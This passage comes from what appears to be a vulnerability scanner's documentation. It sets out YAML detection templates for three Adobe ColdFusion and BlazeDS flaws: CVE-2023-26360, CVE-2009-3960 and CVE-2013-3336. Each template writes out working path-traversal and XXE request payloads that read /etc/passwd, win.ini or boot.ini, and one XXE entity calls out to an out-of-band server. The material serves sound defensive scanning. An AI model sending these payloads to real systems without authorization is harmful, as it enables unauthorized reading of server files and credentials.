# and earlier. KEV added: 2023-03-15. EPSS: 0.971.
#
# The path traversal is in the POST body JSON, not the URL — http_request is
# safe (reqwest does not normalise JSON body contents).
#
# Absent-file control (#2383): after a hit, the same POST names
# ../noctis-absent-<random>/etc/passwd; the finding is raised only when that
# control answers without passwd content (fail closed when it does not answer).
uid: 88087a5b-386c-44ad-8fbc-dd59ba2643db
name: "Adobe ColdFusion wizardHash Unauthenticated File Read (CVE-2023-26360)"
description: |
Tests Adobe ColdFusion for unauthenticated arbitrary file read via the
wizardHash CFC method. A path traversal to /etc/passwd in the classname
parameter of a _cfclient=true POST makes ColdFusion include the file in its
WDDX error response. When the passwd root entry comes back, the same request
is sent for an absent file in a random missing directory: the finding is
reported only when that control gets an HTTP reply without passwd content,
so a server that answers every request with the same file is not reported.
cves: [CVE-2023-26360]
cvss: 8.6
severity: high
category: file-read
confidence_base: 0.20
tags: [adobe, coldfusion, lfi, file-read, kev, apt, wddx]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-26360"
- "https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html"
- "https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis"
- "https://github.com/jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26360.yaml"
steps:
# Pre-initialised so a failed request leaves status 0, not an undefined
# variable.
- id: init-lfi-resp
action: set_var
var_name: lfi_resp
var_value: {status: 0, body: ""}
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: ""}
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# POST a path-traversal classname to the CKEditor iedit.cfc endpoint.
# The traversal targets /etc/passwd; ColdFusion returns the file contents
# wrapped in a WDDX error response. The .. sequences are in the JSON body,
# not the URL path, so http_request does not normalise them.
- id: lfi-probe
action: http_request
method: POST
path: "/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: '_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"},"_variables":{}}}'
store_as: lfi_resp
# No finding here: the reply is the passwd file and must not become
# evidence. The finding is raised below from a fixed summary.
- id: passwd-match
action: match
source: lfi_resp.body
pattern: "root:.*:0:0:"
condition: "lfi_resp.status == 200"
on_match:
set_vars:
lfi_file: "/etc/passwd"
# ── Control: same request, absent file ──────────────────────────────────
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too.
- id: lfi-control
action: http_request
method: POST
path: "/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo"
port: "{{port}}"
condition: 'lfi_file != ""'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: '_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../noctis-absent-{{oob_token}}/etc/passwd"},"_variables":{}}}'
store_as: ctrl_resp
# Fail closed: the control must have answered, without passwd content.
- id: lfi-control-verdict
action: script
condition: 'lfi_file != ""'
code: |
ctrl_resp.status != 0 && !(type_of(ctrl_resp.body) == "string" && ereg("root:[^:\\r\\n]*:0:0:", ctrl_resp.body))
store_as: ctrl_clean
- id: lfi-report
action: match
source: lfi_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "ColdFusion file read confirmed — the wizardHash classname ../(x11)etc/passwd returned the /etc/passwd root entry in the WDDX response; the same request for an absent file did not"
stop: trueAdobe BlazeDS / ColdFusion AMFX XML External Entity File Read
| CVE | CVE-2009-3960 |
|---|---|
| Severity | medium · CVSS 6.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2009-3960.yaml |
Adobe BlazeDS 3.2 and earlier, as bundled in ColdFusion 7.0.2 to 9.0, LiveCycle 8.0.1 to 9.0, LiveCycle Data Services 2.5.1 to 3.0 and Flex Data Services 2.0.1, resolve external entities in AMFX requests (APSB10-05). This check POSTs an AMFX CommandMessage whose messageId references an external entity to the well-known BlazeDS / LCDS / ColdFusion flex2gateway channel URLs and verifies that the content of /etc/passwd (or /windows/win.ini) is reflected back. The same request is then sent with the entity pointing at an absent file in a random missing directory, and the finding is reported only when that control gets a reply without the file content, so a server that answers every request with the same file is not reported. With OOB enabled, it also points the entity at the OOB server to confirm blind XXE.
How noctis detects it
- HTTP(S) request
POST {{blazeds_path}}with a crafted body - Checks
passwd_resp.bodyforroot:.*:0:[01]: - HTTP(S) request
POST {{blazeds_path}}with a crafted body - Checks
winini_resp.bodyfor(?s)<amfx.*\[(boot loader|fonts|extensions|mci extensions|files|Mail)… - HTTP(S) request
POST {{blazeds_path}}with a crafted body - Parses / computes the next value with a Rhai script
- Checks
hit_filefor^/etc/passwd$→ finding QoD 75: BlazeDS AMFX channel … resolved an external entity pointing at /etc/passwd and reflected the root entry in its reply, while the same reques… - Checks
hit_filefor^/windows/win\.ini$→ finding QoD 75: BlazeDS AMFX channel … resolved an external entity pointing at /windows/win.ini and reflected its section headers in its reply, while the s… - HTTP(S) request
POST {{blazeds_path}}with a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB HTTP callback received: a BlazeDS AMFX channel resolved an external entity pointing at the noctis OOB server (blind XXE, CVE-2009-3960).
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-3960
- https://www.adobe.com/support/security/bulletins/apsb10-05.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/adobe_xml_inject.rb
Feed source — tests/vulnerabilities/coldfusion/CVE-2009-3960.yaml
# CVE-2009-3960 (APSB10-05) — Adobe BlazeDS XML external entity (XXE) injection.
# Active detection ported from OpenVAS/Greenbone NASL 2015/sw_adobe_xxe_38197.nasl
# (GPL-2.0-only), cross-checked with Metasploit
# auxiliary/scanner/http/adobe_xml_inject.
#
# BlazeDS <= 3.2 (and the copies bundled in ColdFusion 7.0.2-9.0, LiveCycle,
# LiveCycle Data Services and Flex Data Services) parses AMFX (AMF-over-XML)
# requests with DOCTYPE processing enabled. An external entity referenced from
# the CommandMessage's messageId is resolved by the server, and the expanded
# value is echoed back as the correlationId of the reply: unauthenticated
# arbitrary file read (and SSRF through http:// SYSTEM ids).
#
# Detection, per candidate channel URL (the NASL's 16 BlazeDS / LCDS /
# ColdFusion flex2gateway URLs), stopping at the first finding:
# 1. xxe-passwd (QoD 75): the NASL's exact AMFX envelope with
# <!ENTITY xxe SYSTEM "/etc/passwd">; the root entry reflected back proves
# the server read a local file through the entity. Read-only, nothing is
# written on the target.
# 2. xxe-winini (QoD 75): same with "/windows/win.ini" (the NASL's Windows
# traversal file) for ColdFusion on Windows.
# 3. xxe-oob (QoD 97, only with --oob): same envelope with the SYSTEM id set
# to {{oob_url}}; an HTTP callback proves the parser resolves external
# entities even when the reply echoes nothing (blind XXE).
#
# Beyond the NASL (fewer false negatives):
# - The NASL exits unless the root page `/` mentions flex2gateway,
# messagebroker, blazeds or lcds; most deployments do not, so it misses
# them. This feed probes the channel URLs directly.
# - The NASL sends the AMFX body with GET; BlazeDS channels and Metasploit use
# POST, which proxies/WAFs do not strip a body from. This feed uses POST.
# - The NASL needs the entity value to be reflected; the OOB branch also
# catches blind XXE (fault replies that echo nothing).
# The in-band patterns stay those of the NASL's traversal_files(): a patched
# server (DOCTYPE rejected) echoing the request back cannot match them, since
# the request carries only the file *name*.
#
# Absent-file control: after an in-band hit, the same envelope is sent with the
# entity pointing at an absent file (/noctis-absent-<random>/etc/passwd or
# …/windows/win.ini) and the finding is raised only when that control gets a
# reply without any of the file signatures, so a server answering every request
# with passwd / win.ini content is not reported (fails closed when the control
# gets no reply). BlazeDS answers a FileNotFoundException fault. The file
# content is not copied into the finding.
uid: 94cdcd2a-6edb-48a5-87ba-62f68d955fa9
name: "Adobe BlazeDS / ColdFusion AMFX XML External Entity File Read (CVE-2009-3960)"
description: |
Adobe BlazeDS 3.2 and earlier, as bundled in ColdFusion 7.0.2 to 9.0, LiveCycle 8.0.1 to
9.0, LiveCycle Data Services 2.5.1 to 3.0 and Flex Data Services 2.0.1, resolve
external entities in AMFX requests (APSB10-05). This check POSTs an AMFX
CommandMessage whose messageId references an external entity to the well-known
BlazeDS / LCDS / ColdFusion flex2gateway channel URLs and verifies that the
content of /etc/passwd (or /windows/win.ini) is reflected back. The same request
is then sent with the entity pointing at an absent file in a random missing
directory, and the finding is reported only when that control gets a reply
without the file content, so a server that answers every request with the same
file is not reported. With OOB enabled, it also points the entity at the OOB
server to confirm blind XXE.
cves: [CVE-2009-3960]
cvss: 6.5
severity: medium
confidence_base: 0.30
category: file-read
tags:
- adobe
- blazeds
- coldfusion
- livecycle
- flex
- amf
- xxe
- file-read
- oob
- kev
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3960"
- "https://www.adobe.com/support/security/bulletins/apsb10-05.html"
- "OpenVAS/Greenbone NASL 2015/sw_adobe_xxe_38197.nasl (GPL-2.0-only)"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/adobe_xml_inject.rb"
steps:
# Every step from here to `xxe-oob` runs once per channel URL (loop
# group). The stored results are pre-initialised so a failed request (reset,
# timeout) leaves an empty body instead of an unset variable.
- id: init-passwd-resp
action: set_var
var_name: passwd_resp
var_value: {status: 0, body: ""}
loop:
over:
- "/flex2gateway/"
- "/flex2gateway/http"
- "/flex2gateway/httpsecure"
- "/flex2gateway/cfamfpolling"
- "/flex2gateway/amf"
- "/flex2gateway/amfpolling"
- "/messagebroker/http"
- "/messagebroker/httpsecure"
- "/blazeds/messagebroker/http"
- "/blazeds/messagebroker/httpsecure"
- "/samples/messagebroker/http"
- "/samples/messagebroker/httpsecure"
- "/lcds/messagebroker/http"
- "/lcds/messagebroker/httpsecure"
- "/lcds-samples/messagebroker/http"
- "/lcds-samples/messagebroker/httpsecure"
var: blazeds_path
- id: init-winini-resp
action: set_var
var_name: winini_resp
var_value: {status: 0, body: ""}
# File read in band on this channel URL ("" = none); reused by the control.
- id: init-hit-file
action: set_var
var_name: hit_file
var_value: ""
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# ── 1. In-band XXE: /etc/passwd (NASL envelope, POST) ────────────────────
- id: xxe-passwd
action: http_request
method: POST
port: "{{port}}"
path: "{{blazeds_path}}"
headers:
Content-Type: "application/x-amf"
body: '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&xxe;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_resp
# No finding here: the reply carries the whole passwd file and must not
# become evidence. The finding is raised after the control.
- id: match-passwd
action: match
source: passwd_resp.body
pattern: "root:.*:0:[01]:"
on_match:
set_vars:
hit_file: "/etc/passwd"
# ── 2. In-band XXE: /windows/win.ini (ColdFusion on Windows) ─────────────
# The section headers must appear inside an AMFX reply: a generic page that
# merely contains "[files]" or "[Mail]" cannot match.
# Skipped when the channel URL does not exist (404): keeps an ordinary web
# server at 16 requests instead of 32/48. A failed request keeps the
# pre-initialised status 0, so it still goes on to the other probes.
- id: xxe-winini
action: http_request
method: POST
port: "{{port}}"
path: "{{blazeds_path}}"
condition: 'passwd_resp.status != 404 && hit_file == ""'
headers:
Content-Type: "application/x-amf"
body: '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/windows/win.ini"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&xxe;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: winini_resp
- id: match-winini
action: match
source: winini_resp.body
pattern: "(?s)<amfx.*\\[(boot loader|fonts|extensions|mci extensions|files|Mail)\\]"
condition: 'passwd_resp.status != 404 && hit_file == ""'
on_match:
set_vars:
hit_file: "/windows/win.ini"
# ── Control: same envelope, entity pointing at an absent file ────────────
# A random missing directory, still ending in the file that was read, so a
# honeypot keyed on that name answers it too.
- id: xxe-control
action: http_request
method: POST
port: "{{port}}"
path: "{{blazeds_path}}"
condition: 'hit_file != ""'
headers:
Content-Type: "application/x-amf"
body: '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/noctis-absent-{{oob_token}}{{hit_file}}"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&xxe;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered, without any file signature.
- id: xxe-control-verdict
action: script
condition: 'hit_file != ""'
code: |
ctrl_resp.status != 0 && !ereg("root:[^\\r\\n]*:0:[01]:|\\[(boot loader|fonts|extensions|mci extensions|files|Mail)\\]", ctrl_resp.body)
store_as: ctrl_clean
- id: report-passwd
action: match
source: hit_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "BlazeDS AMFX channel {{blazeds_path}} resolved an external entity pointing at /etc/passwd and reflected the root entry in its reply, while the same request for an absent file did not (XXE file read, CVE-2009-3960)."
stop: true
- id: report-winini
action: match
source: hit_file
pattern: "^/windows/win\\.ini$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "BlazeDS AMFX channel {{blazeds_path}} resolved an external entity pointing at /windows/win.ini and reflected its section headers in its reply, while the same request for an absent file did not (XXE file read, CVE-2009-3960)."
stop: true
# ── 3. Blind XXE: entity pointing at the OOB server (only with --oob) ────
- id: xxe-oob
action: http_request
method: POST
port: "{{port}}"
path: "{{blazeds_path}}"
condition: "oob_enabled && passwd_resp.status != 404"
headers:
Content-Type: "application/x-amf"
body: '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "{{oob_url}}"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&xxe;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_resp
# Runs once, after every channel URL was tried without an in-band finding.
# The OOB token is per run, not per URL, so the evidence cannot name which
# channel URL triggered the callback.
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
on_success:
finding:
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received: a BlazeDS AMFX channel resolved an external entity pointing at the noctis OOB server (blind XXE, CVE-2009-3960)."
stop: trueAdobe ColdFusion l10n.cfm Arbitrary File Read
| CVE | CVE-2013-3336, CVE-2013-1389 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2013-3336.yaml |
Tests Adobe ColdFusion 9/10 for the unauthenticated arbitrary file read of APSB13-13. The feed asks /CFIDE/adminapi/customtags/l10n.cfm to include the administrator mail/download.cfm template with a ../-sequence filename that points at /etc/passwd, windows/win.ini or boot.ini. The content of the system file in the reply confirms the file read. A control request for an absent random file through the same chain must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET /CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administra… - Checks
passwd_r.bodyfor(?m)^root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n]*)\r?$ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administra… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administra… - Checks
bootini_r.bodyfor(?i)\[boot loader\] - HTTP(S) request
GET /CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administra… - Checks
ctrl_r.bodyfor(?mi)(^root:[^:\r\n]*:0:[01]:|; for 16-bit app support|\[fonts\]|\[bo… - Checks
lin_prooffor^root:<redacted>:0:0:→ finding QoD 75: Adobe ColdFusion l10n.cfm Arbitrary File Read (CVE-2013-3336) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: Adobe ColdFusion l10n.cfm Arbitrary File Read (CVE-2013-3336)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-3336
- https://nvd.nist.gov/vuln/detail/CVE-2013-1389
- https://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13-13.html
- https://www.exploit-db.com/exploits/25305
Feed source — tests/vulnerabilities/coldfusion/CVE-2013-3336.yaml
# Adobe ColdFusion l10n.cfm / mail download.cfm arbitrary file read — CVE-2013-3336 (APSB13-13)
#
# ColdFusion 9.0, 9.0.1, 9.0.2 and 10 (before the APSB13-13 hotfix) let an
# unauthenticated client call the adminapi custom tag
# /CFIDE/adminapi/customtags/l10n.cfm with `attributes.file` pointing at another
# CFML template, which l10n.cfm then includes. Including the administrator's
# mail/download.cfm hands the attacker its `filename` parameter, a path that the
# template streams back without canonicalising it, so `../` sequences read any
# file the ColdFusion service can read (the public exploit reads
# lib/password.properties, the admin password hash).
#
# Detection (benign, read-only): request
# /CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it
# &attributes.file=../../administrator/mail/download.cfm
# &filename=../../../../../../../../../../../../../../../<file>&...
# for etc/passwd, windows/win.ini and boot.ini, and match the file CONTENT
# (traversal_func.inc patterns: "root:.*:0:[01]:", "; for 16-bit app support"
# / "[fonts]", "[boot loader]"). QoD 75 (response analysis). The ../ sequences
# sit in the query string, which reqwest does not normalise, so http_request
# sends them untouched. password.properties is never requested.
#
# Improvements over the source NASL:
# - A control request (same l10n.cfm/download.cfm chain, filename = an
# absent random file) must come back WITHOUT any of the file signatures;
# a blanket responder that serves the same file on every request is
# therefore not reported (fail-closed: no control reply → no finding).
# The absent name contains etc/passwd, win.ini and boot.ini, so a
# honeypot keying a fake file on those substrings is caught as well.
# - The NASL needs its ColdFusion product detection first; this feed probes
# the fixed CFIDE path directly.
# - root's password field from /etc/passwd is redacted before it can reach
# the finding (only gecos:home:shell are kept).
#
# CVEs: the NASL lists CVE-2013-3336 and CVE-2013-1389 (same bulletin). Only
# CVE-2013-3336 ("read arbitrary files", NVD CVSS v2 5.0) is what this request
# proves; CVE-2013-1389 (unspecified code execution) stays in the feed-level
# list for tracking, and each finding names only CVE-2013-3336.
#
# Ported from OpenVAS/Greenbone NVT 2013/adobe/gb_coldfusion_59773.nasl
# (GPL-2.0-only). Request taken from that plugin and exploit-db 25305.
uid: 60ac36cb-f6b6-44a0-bc87-ab02fa4e3ab8
name: "Adobe ColdFusion l10n.cfm Arbitrary File Read (CVE-2013-3336)"
description: |
Tests Adobe ColdFusion 9/10 for the unauthenticated arbitrary file read of
APSB13-13. The feed asks /CFIDE/adminapi/customtags/l10n.cfm to include the
administrator mail/download.cfm template with a ../-sequence filename that
points at /etc/passwd, windows/win.ini or boot.ini. The content of the system
file in the reply confirms the file read. A control request for an absent
random file through the same chain must not return any of these files, so a
server that serves the same content on every request is not reported. Only
world-readable system files are read; root's password field is redacted from
the evidence.
cves: [CVE-2013-3336, CVE-2013-1389]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [adobe, coldfusion, path-traversal, file-read, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-3336"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1389"
- "https://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13-13.html"
- "https://www.exploit-db.com/exploits/25305"
# OpenVAS/Greenbone NASL 2013/adobe/gb_coldfusion_59773.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: etc/passwd ────────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/passwd&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)^root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 0 {
"root:<redacted>:0:0:" + passwd_m.captures[0]
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
- id: read-winini
action: http_request
method: GET
path: "/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../windows/win.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == ""'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == ""'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same chain, absent random file — must NOT carry a signature ─
# The absent name still contains etc/passwd, win.ini and boot.ini, so a
# honeypot that keys a fake file on those substrings answers it too.
- id: control
action: http_request
method: GET
path: "/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)(^root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
cves: [CVE-2013-3336]
title: "Adobe ColdFusion l10n.cfm Arbitrary File Read (CVE-2013-3336)"
description: "An unauthenticated request to /CFIDE/adminapi/customtags/l10n.cfm that includes administrator/mail/download.cfm with a ../-sequence filename returned the content of /etc/passwd, while the same request for an absent file did not."
remediation: "Apply the Adobe ColdFusion APSB13-13 security hotfix (or a later update), and restrict access to /CFIDE/adminapi and /CFIDE/administrator."
confidence_delta: 0.55
qod: 75
evidence: "l10n.cfm -> mail/download.cfm filename=../(x15)etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
cves: [CVE-2013-3336]
title: "Adobe ColdFusion l10n.cfm Arbitrary File Read (CVE-2013-3336)"
description: "An unauthenticated request to /CFIDE/adminapi/customtags/l10n.cfm that includes administrator/mail/download.cfm with a ../-sequence filename returned the content of a Windows system file, while the same request for an absent file did not."
remediation: "Apply the Adobe ColdFusion APSB13-13 security hotfix (or a later update), and restrict access to /CFIDE/adminapi and /CFIDE/administrator."
confidence_delta: 0.55
qod: 75
evidence: "l10n.cfm -> mail/download.cfm filename=../(x15) returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true